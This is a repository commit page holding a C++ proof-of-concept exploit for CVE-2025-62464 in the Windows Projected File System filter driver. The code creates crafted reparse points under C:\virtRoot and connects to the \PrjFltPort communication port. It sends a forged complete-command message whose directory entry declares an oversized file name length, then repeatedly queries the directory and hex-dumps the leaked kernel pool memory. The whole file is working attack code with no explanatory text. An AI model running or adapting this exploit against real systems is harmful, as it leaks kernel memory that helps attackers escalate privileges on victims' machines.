Upload files to "CVE-2025-62464"
This commit is contained in:
Binary file not shown.
@@ -0,0 +1,586 @@
|
||||
|
||||
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include <fltuser.h>
|
||||
#include <projectedfslib.h>
|
||||
#pragma comment(lib, "projectedfslib.lib")
|
||||
#pragma comment(lib, "FltLib.lib")
|
||||
|
||||
#include "ntdll.h"
|
||||
#pragma comment(lib, "ntdll")
|
||||
|
||||
PWSTR gProcessPath = NULL;
|
||||
PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle;
|
||||
|
||||
DWORD CompleteCommandHandler(int CommandId);
|
||||
|
||||
struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT
|
||||
{
|
||||
GUID virtualizationInstanceID;
|
||||
unsigned int Version;
|
||||
USHORT VolumeLength;
|
||||
WCHAR szVolume[256];
|
||||
};
|
||||
|
||||
|
||||
void PrintInstanceId() {
|
||||
PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
|
||||
HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
|
||||
return;
|
||||
}
|
||||
|
||||
OLECHAR* guidString;
|
||||
StringFromCLSID(InstanceInfo.InstanceID, &guidString);
|
||||
wprintf(L"InstanceId: %s\n", guidString);
|
||||
|
||||
|
||||
LPCOLESTR lpsz = guidString;
|
||||
GUID InstanceId;
|
||||
hr = CLSIDFromString(lpsz, &InstanceId);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
|
||||
return;
|
||||
}
|
||||
|
||||
CoTaskMemFree(guidString);
|
||||
}
|
||||
|
||||
void CreateVirtualizationRoot() {
|
||||
|
||||
HRESULT hr;
|
||||
const wchar_t* rootName = LR"(C:\virtRoot)";
|
||||
|
||||
RemoveDirectoryW(rootName);
|
||||
|
||||
if (!CreateDirectoryW(rootName, nullptr))
|
||||
{
|
||||
DWORD gle = GetLastError();
|
||||
if (gle != ERROR_ALREADY_EXISTS) {
|
||||
hr = HRESULT_FROM_WIN32(gle);
|
||||
wprintf(L"Failed to create virtualization root (0x%08x)\n", hr);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
GUID instanceId;
|
||||
|
||||
hr = CoCreateGuid(&instanceId);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
|
||||
return;
|
||||
}
|
||||
|
||||
hr = PrjMarkDirectoryAsPlaceholder(rootName,
|
||||
nullptr,
|
||||
nullptr,
|
||||
&instanceId);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr);
|
||||
return;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
HRESULT MyStartEnumCallback(
|
||||
const PRJ_CALLBACK_DATA* callbackData,
|
||||
const GUID* enumerationId
|
||||
)
|
||||
{
|
||||
//printf("MyStartEnumCallback\n");
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT MyEndEnumCallback(
|
||||
const PRJ_CALLBACK_DATA* callbackData,
|
||||
const GUID* enumerationId
|
||||
)
|
||||
{
|
||||
//printf("MyEndEnumCallback\n");
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT MyGetEnumCallback(
|
||||
const PRJ_CALLBACK_DATA* callbackData,
|
||||
const GUID* enumerationId,
|
||||
PCWSTR searchExpression,
|
||||
PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle
|
||||
)
|
||||
{
|
||||
CompleteCommandHandler(callbackData->CommandId);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT MyGetPlaceholderInfoCallback(
|
||||
const PRJ_CALLBACK_DATA* callbackData
|
||||
)
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT MyGetFileDataCallback(
|
||||
const PRJ_CALLBACK_DATA* callbackData,
|
||||
UINT64 byteOffset,
|
||||
UINT32 length
|
||||
)
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
void StartVirtualizatioInstance() {
|
||||
PRJ_CALLBACKS callbackTable;
|
||||
|
||||
// Supply required callbacks.
|
||||
callbackTable.StartDirectoryEnumerationCallback = MyStartEnumCallback;
|
||||
callbackTable.EndDirectoryEnumerationCallback = MyEndEnumCallback;
|
||||
callbackTable.GetDirectoryEnumerationCallback = MyGetEnumCallback;
|
||||
callbackTable.GetPlaceholderInfoCallback = MyGetPlaceholderInfoCallback;
|
||||
callbackTable.GetFileDataCallback = MyGetFileDataCallback;
|
||||
|
||||
// The rest of the callbacks are optional.
|
||||
callbackTable.QueryFileNameCallback = nullptr;
|
||||
callbackTable.NotificationCallback = nullptr;
|
||||
callbackTable.CancelCommandCallback = nullptr;
|
||||
|
||||
HRESULT hr;
|
||||
const wchar_t* rootName = LR"(C:\virtRoot)";
|
||||
|
||||
PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle;
|
||||
hr = PrjStartVirtualizing(rootName,
|
||||
&callbackTable,
|
||||
nullptr,
|
||||
nullptr,
|
||||
&instanceHandle);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr);
|
||||
return;
|
||||
}
|
||||
|
||||
gInstanceHandle = instanceHandle;
|
||||
}
|
||||
|
||||
|
||||
struct _PRJ_MSG_OUT_HEADER
|
||||
{
|
||||
int MessageType;
|
||||
int Size;
|
||||
int Status;
|
||||
char Data[256];
|
||||
};
|
||||
|
||||
|
||||
struct _PRJ_REPARSE_DATA
|
||||
{
|
||||
int Version;
|
||||
int dwFlags;
|
||||
GUID virtualizationInstanceID;
|
||||
PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo;
|
||||
unsigned __int16 PlaceHolderRelPathLength;
|
||||
WCHAR szPlaceHolderRelPathBuffer[1];
|
||||
|
||||
};
|
||||
|
||||
struct _PRJ_REPARSE_DATA_BUFFER
|
||||
{
|
||||
ULONG ReparseTag;
|
||||
USHORT ReparseDataLength;
|
||||
USHORT Reserved;
|
||||
_PRJ_REPARSE_DATA ReparseData;
|
||||
};
|
||||
|
||||
|
||||
HRESULT CreateFileWithReparsePoint(
|
||||
PHANDLE pFileHandle,
|
||||
LPCWSTR lpcwFileName,
|
||||
_PRJ_REPARSE_DATA* ReparseData,
|
||||
USHORT ReparseDataLength,
|
||||
int Tag,
|
||||
bool bDir) {
|
||||
|
||||
size_t ReparseDataLength64; // rbp
|
||||
const WCHAR* ErrorMessage; // rdi
|
||||
USHORT BufferLength; // bx
|
||||
ULONG hr; // ebx MAPDST
|
||||
_PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST
|
||||
int LastError; // eax
|
||||
ULONG Size; // eax
|
||||
size_t Length; // rax
|
||||
|
||||
*pFileHandle = NULL;
|
||||
|
||||
ReparseDataLength64 = ReparseDataLength;
|
||||
ErrorMessage = 0i64;
|
||||
BufferLength = ReparseDataLength + 8;
|
||||
if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u
|
||||
|| ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A)
|
||||
{
|
||||
hr = 0x80070057; // E_INVALIDARG
|
||||
goto LABEL_12;
|
||||
}
|
||||
ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8));
|
||||
if (!ReparseDataBuffer)
|
||||
{
|
||||
hr = 0x8007000E; // E_OUTOFMEMORY
|
||||
LABEL_12:
|
||||
Size = 2;
|
||||
|
||||
return hr;
|
||||
}
|
||||
ReparseDataBuffer->ReparseTag = Tag;
|
||||
ReparseDataBuffer->ReparseDataLength = ReparseDataLength64;
|
||||
memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength64);
|
||||
|
||||
//HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64);
|
||||
|
||||
UNICODE_STRING usFileName = { 0 };
|
||||
|
||||
RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName);
|
||||
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
|
||||
ObjectAttributes.Length = 0x30;
|
||||
ObjectAttributes.ObjectName = &usFileName;
|
||||
|
||||
ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL;
|
||||
ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT;
|
||||
|
||||
if (bDir) {
|
||||
CreateOptions = CreateOptions | FILE_DIRECTORY_FILE;
|
||||
}
|
||||
|
||||
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
||||
HANDLE FileHandle = NULL;
|
||||
int Status = NtCreateFile(
|
||||
&FileHandle,
|
||||
FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
|
||||
&ObjectAttributes,
|
||||
&IoStatusBlock,
|
||||
0i64,
|
||||
FileAttributes,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
||||
FILE_OPEN_IF,
|
||||
CreateOptions,
|
||||
NULL,
|
||||
0);
|
||||
|
||||
if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT
|
||||
{
|
||||
hr = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
LastError = GetLastError();
|
||||
hr = LastError;
|
||||
if (LastError > 0)
|
||||
hr = (unsigned __int16)LastError | 0x80070000;
|
||||
ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT";
|
||||
}
|
||||
free(ReparseDataBuffer);
|
||||
if (hr)
|
||||
goto LABEL_12;
|
||||
|
||||
*pFileHandle = FileHandle;
|
||||
|
||||
return hr;
|
||||
|
||||
}
|
||||
|
||||
_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) {
|
||||
USHORT RelPathLength = MAX_PATH;
|
||||
USHORT Length = RelPathLength + 0x11A;
|
||||
_PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length);
|
||||
|
||||
ReparseData->Version = 2;
|
||||
ReparseData->PlaceHolderRelPathLength = RelPathLength;
|
||||
|
||||
if (RelPathLength) {
|
||||
memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength);
|
||||
}
|
||||
|
||||
*pLength = Length;
|
||||
return ReparseData;
|
||||
}
|
||||
|
||||
|
||||
void PrintOutput(char* buf, int Size) {
|
||||
|
||||
//printf("\n");
|
||||
for (int i = 0; i < Size; i++)
|
||||
{
|
||||
if (i != 0 && i % 8 == 0 && i % 16 != 0) {
|
||||
printf("-");
|
||||
|
||||
}
|
||||
else if (i > 0)
|
||||
{
|
||||
printf(" ");
|
||||
}
|
||||
|
||||
|
||||
if (i % 16 == 0 && i != 0) {
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
printf("%02x", (unsigned)(unsigned char)buf[i]);
|
||||
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
struct _POOL_HEADER
|
||||
{
|
||||
union
|
||||
{
|
||||
struct
|
||||
{
|
||||
USHORT PreviousSize : 8; //0x0
|
||||
USHORT PoolIndex : 8; //0x0
|
||||
USHORT BlockSize : 8; //0x2
|
||||
USHORT PoolType : 8; //0x2
|
||||
};
|
||||
ULONG Ulong1; //0x0
|
||||
};
|
||||
ULONG PoolTag; //0x4
|
||||
union
|
||||
{
|
||||
struct _EPROCESS* ProcessBilled; //0x8
|
||||
struct
|
||||
{
|
||||
USHORT AllocatorBackTraceIndex; //0x8
|
||||
USHORT PoolTagHash; //0xa
|
||||
};
|
||||
};
|
||||
};
|
||||
|
||||
void PrintPoolHeader(_POOL_HEADER* Header) {
|
||||
if (Header->PoolTag != 0) {
|
||||
|
||||
char szTag[0x10] = { 0 };
|
||||
ULONG size = Header->BlockSize * 0x10;
|
||||
memcpy(szTag, &Header->PoolTag, 4);
|
||||
|
||||
printf("PoolTag: %s, size: 0x%x\n", szTag, size);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
typedef struct _FILE_ID_EXTD_DIR_INFORMATION {
|
||||
ULONG NextEntryOffset;
|
||||
ULONG FileIndex;
|
||||
LARGE_INTEGER CreationTime;
|
||||
LARGE_INTEGER LastAccessTime;
|
||||
LARGE_INTEGER LastWriteTime;
|
||||
LARGE_INTEGER ChangeTime;
|
||||
LARGE_INTEGER EndOfFile;
|
||||
LARGE_INTEGER AllocationSize;
|
||||
ULONG FileAttributes;
|
||||
ULONG FileNameLength;
|
||||
ULONG EaSize;
|
||||
ULONG ReparsePointTag;
|
||||
FILE_ID_128 FileId;
|
||||
WCHAR FileName[0x10/2];
|
||||
} FILE_ID_EXTD_DIR_INFORMATION, * PFILE_ID_EXTD_DIR_INFORMATION;
|
||||
|
||||
typedef struct _FILE_DIRECTORY_INFORMATION
|
||||
{
|
||||
ULONG NextEntryOffset;
|
||||
ULONG FileIndex;
|
||||
LARGE_INTEGER CreationTime;
|
||||
LARGE_INTEGER LastAccessTime;
|
||||
LARGE_INTEGER LastWriteTime;
|
||||
LARGE_INTEGER ChangeTime;
|
||||
LARGE_INTEGER EndOfFile;
|
||||
LARGE_INTEGER AllocationSize;
|
||||
ULONG FileAttributes;
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
}FILE_DIRECTORY_INFORMATION, * PFILE_DIRECTORY_INFORMATION;
|
||||
|
||||
|
||||
void NpQueryDirectory(HANDLE hRoot, FILE_INFORMATION_CLASS FileInfoClass) {
|
||||
DWORD OutputBufferLength = 0x11100;
|
||||
PVOID OutputBuffer = malloc(OutputBufferLength);
|
||||
memset(OutputBuffer, 0, OutputBufferLength);
|
||||
|
||||
UNICODE_STRING FileName = { 0 };
|
||||
PCWSTR lpcwName = L"3*";
|
||||
RtlInitUnicodeString(&FileName, (PWSTR)lpcwName);
|
||||
|
||||
while (1) {
|
||||
|
||||
memset(OutputBuffer, 'B', OutputBufferLength);
|
||||
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
||||
NTSTATUS Status = NtQueryDirectoryFile(hRoot, NULL, NULL, NULL, &IoStatusBlock, OutputBuffer, OutputBufferLength, FileInfoClass, true, &FileName, false);
|
||||
//printf("NpQueryDirectory Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);
|
||||
|
||||
if (IoStatusBlock.Information == OutputBufferLength)
|
||||
{
|
||||
|
||||
ULONG EntrySize = sizeof(FILE_ID_EXTD_DIR_INFORMATION);
|
||||
ULONG FileNameOffset = ULONG(&(((PFILE_ID_EXTD_DIR_INFORMATION)0)->FileName));
|
||||
ULONG BufferOffset = EntrySize + FileNameOffset;
|
||||
ULONG MaxEntryBuffer = 0x11000;
|
||||
|
||||
PFILE_DIRECTORY_INFORMATION pDirInfo = (PFILE_DIRECTORY_INFORMATION)((char*)OutputBuffer + MaxEntryBuffer - BufferOffset);
|
||||
char* pLeakedData = (char*)(pDirInfo->FileName);
|
||||
|
||||
//PrintPoolHeader((_POOL_HEADER*)(pLeakedData));
|
||||
PrintOutput(pLeakedData, 0x100);
|
||||
printf("\nPress enter key to continue . . .\n");
|
||||
getchar();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
struct _PRJ_MSG_IN_HEADER
|
||||
{
|
||||
int MessageType;
|
||||
int InputBufferSize;
|
||||
};
|
||||
|
||||
struct _PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA
|
||||
{
|
||||
ULONG DataSize;
|
||||
int _4;
|
||||
GUID virtualizationInstanceID;
|
||||
int Tag;
|
||||
char _1c[60];
|
||||
ULONG CommandId;
|
||||
int RetStatus;
|
||||
ULONG ResultLength;
|
||||
char ResultBuffer[sizeof(FILE_ID_EXTD_DIR_INFORMATION) * 2 + 0x11100];
|
||||
};
|
||||
|
||||
struct _PRJ_MSG_COMLETE_COMMAND_HANDLER
|
||||
{
|
||||
_PRJ_MSG_IN_HEADER Header;
|
||||
_PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA Data;
|
||||
};
|
||||
|
||||
DWORD WINAPI CompleteCommandHandler(int CommandId) {
|
||||
|
||||
static HANDLE hPort = NULL;
|
||||
static GUID InstanceId;
|
||||
|
||||
if (hPort == NULL) {
|
||||
PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
|
||||
HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
|
||||
InstanceId = InstanceInfo.InstanceID;
|
||||
|
||||
|
||||
//PrjStopVirtualizing(gInstanceHandle);
|
||||
|
||||
_PRJ_CONNECTION_CONTEXT Context;
|
||||
Context.VolumeLength = 0x100;
|
||||
Context.Version = 1;
|
||||
Context.virtualizationInstanceID = InstanceId;
|
||||
wcscpy_s(Context.szVolume, L"c:\\");
|
||||
ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT);
|
||||
|
||||
HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort);
|
||||
//HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort);
|
||||
|
||||
printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort);
|
||||
|
||||
}
|
||||
|
||||
static DWORD InputBufferLength = 0x20000;
|
||||
static PVOID InputBuffer = malloc(InputBufferLength);
|
||||
|
||||
static DWORD OutputBufferLength = 0x20000;
|
||||
static PVOID OutputBuffer = malloc(OutputBufferLength);
|
||||
|
||||
memset(InputBuffer, 0, InputBufferLength);
|
||||
memset(OutputBuffer, 0, OutputBufferLength);
|
||||
|
||||
DWORD BytesReturned = 0;
|
||||
|
||||
_PRJ_MSG_COMLETE_COMMAND_HANDLER Message = { 0 };
|
||||
|
||||
memset(&Message, 'A', sizeof(Message));
|
||||
|
||||
Message.Header.MessageType = 5;
|
||||
Message.Header.InputBufferSize = sizeof(Message);
|
||||
Message.Data.DataSize = sizeof(_PRJ_MSG_COMLETE_COMMAND_HANDLER_IN_DATA);
|
||||
|
||||
Message.Data.Tag = 0x9000001C;
|
||||
Message.Data.virtualizationInstanceID = InstanceId;
|
||||
Message.Data.CommandId = CommandId;
|
||||
Message.Data.RetStatus = 0;
|
||||
Message.Data.ResultLength = sizeof(FILE_ID_EXTD_DIR_INFORMATION) * 2;
|
||||
|
||||
|
||||
|
||||
PFILE_ID_EXTD_DIR_INFORMATION FileInfo1 = (PFILE_ID_EXTD_DIR_INFORMATION)Message.Data.ResultBuffer;
|
||||
FileInfo1->NextEntryOffset = 0;
|
||||
FileInfo1->FileNameLength = 0x10;
|
||||
FileInfo1->FileName[0] = L'.';
|
||||
|
||||
PFILE_ID_EXTD_DIR_INFORMATION FileInfo2 = (PFILE_ID_EXTD_DIR_INFORMATION)(Message.Data.ResultBuffer + sizeof(FILE_ID_EXTD_DIR_INFORMATION)) ;
|
||||
FileInfo2->NextEntryOffset = 0;
|
||||
FileInfo2->FileNameLength = 0x15000;
|
||||
FileInfo2->FileName[0] = L'.';
|
||||
|
||||
memcpy(InputBuffer, &Message, sizeof(Message));
|
||||
InputBufferLength = Message.Header.InputBufferSize;
|
||||
|
||||
HRESULT hr = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned);
|
||||
|
||||
|
||||
//printf("FilterSendMessage hResult:%x\n", hr);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void PrjCompleteCommandHandler()
|
||||
{
|
||||
CreateVirtualizationRoot();
|
||||
StartVirtualizatioInstance();
|
||||
PrintInstanceId();
|
||||
|
||||
//CloseFltPortHandle();
|
||||
|
||||
|
||||
USHORT Length = 0;
|
||||
HANDLE DirFileHandle = NULL;
|
||||
HANDLE FileHandle = NULL;
|
||||
_PRJ_REPARSE_DATA* ReparseData = NULL;
|
||||
ReparseData = CreateReparseData(L"dd", 0x10, &Length);
|
||||
HRESULT hr = CreateFileWithReparsePoint(&DirFileHandle, L"\\??\\c:\\virtroot\\dd", ReparseData, Length, 0x9000001C, true);
|
||||
CloseHandle(DirFileHandle);
|
||||
|
||||
|
||||
ReparseData = CreateReparseData(L"dd\\3", 0x10, &Length);
|
||||
hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\3", ReparseData, Length, 0x9000001C, false);
|
||||
CloseHandle(FileHandle);
|
||||
|
||||
ReparseData = CreateReparseData(L"dd\\4", 0x10, &Length);
|
||||
hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\virtroot\\dd\\4", ReparseData, Length, 0x9000001C, true);
|
||||
CloseHandle(FileHandle);
|
||||
|
||||
FILE_INFORMATION_CLASS FileInfoClass = FileDirectoryInformation;
|
||||
FileHandle = CreateFileW(L"c:\\virtroot\\dd", FILE_READ_DATA, 3u, 0i64, 3u, 0x2200000u, 0i64);
|
||||
//PatchLib();
|
||||
|
||||
NpQueryDirectory(FileHandle, FileInfoClass);
|
||||
|
||||
|
||||
CloseHandle(FileHandle);
|
||||
|
||||
getchar();
|
||||
}
|
||||
|
||||
|
||||
int wmain(int argc, WCHAR* argv[])
|
||||
{
|
||||
PrjCompleteCommandHandler();
|
||||
//CompleteCommandHandler(0);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user